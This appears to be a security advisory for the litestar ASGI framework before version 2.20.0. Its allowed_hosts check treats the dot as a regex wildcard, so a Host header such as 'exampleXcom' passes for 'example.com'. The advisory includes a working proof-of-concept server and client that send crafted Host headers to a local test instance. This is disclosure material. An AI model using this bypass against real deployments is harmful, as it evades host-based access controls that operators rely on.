Incorrect Regular Expression Affecting litestar package, versions [,2.20.0)

litestar is a Litestar - A production-ready, highly performant, extensible ASGI API Framework

Affected versions of this package are vulnerable to Incorrect Regular Expression via the allowed_hosts host validation. An attacker can gain unauthorized access by supplying a specially crafted host value containing regex metacharacters that match unintended hosts.

Server

from litestar import Litestar, get
from litestar.middleware.allowed_hosts import AllowedHostsConfig

@get("/")
async def index() -> str:
    return "ok"
config = AllowedHostsConfig(allowed_hosts=["example.com"])
app = Litestar([index], allowed_hosts_config=config)
uvicorn poc_allowed_hosts_server:app --host 127.0.0.1 --port 8001

Client

import http.client

def req(host_header: str) -> tuple[int, bytes]:
    c = http.client.HTTPConnection("127.0.0.1", 8001, timeout=3)
    c.request("GET", "/", headers={"Host": host_header})
    r = c.getresponse()
    body = r.read()
    c.close()
    return r.status, body
print("evil.com:", *req("evil.com"))
print("exampleXcom:", *req("exampleXcom"))

Expected (vulnerable behavior): Host: evil.com → 400 invalid host

Host: exampleXcom → 200 ok (bypass)

• GitHub Commit
• GitHub Release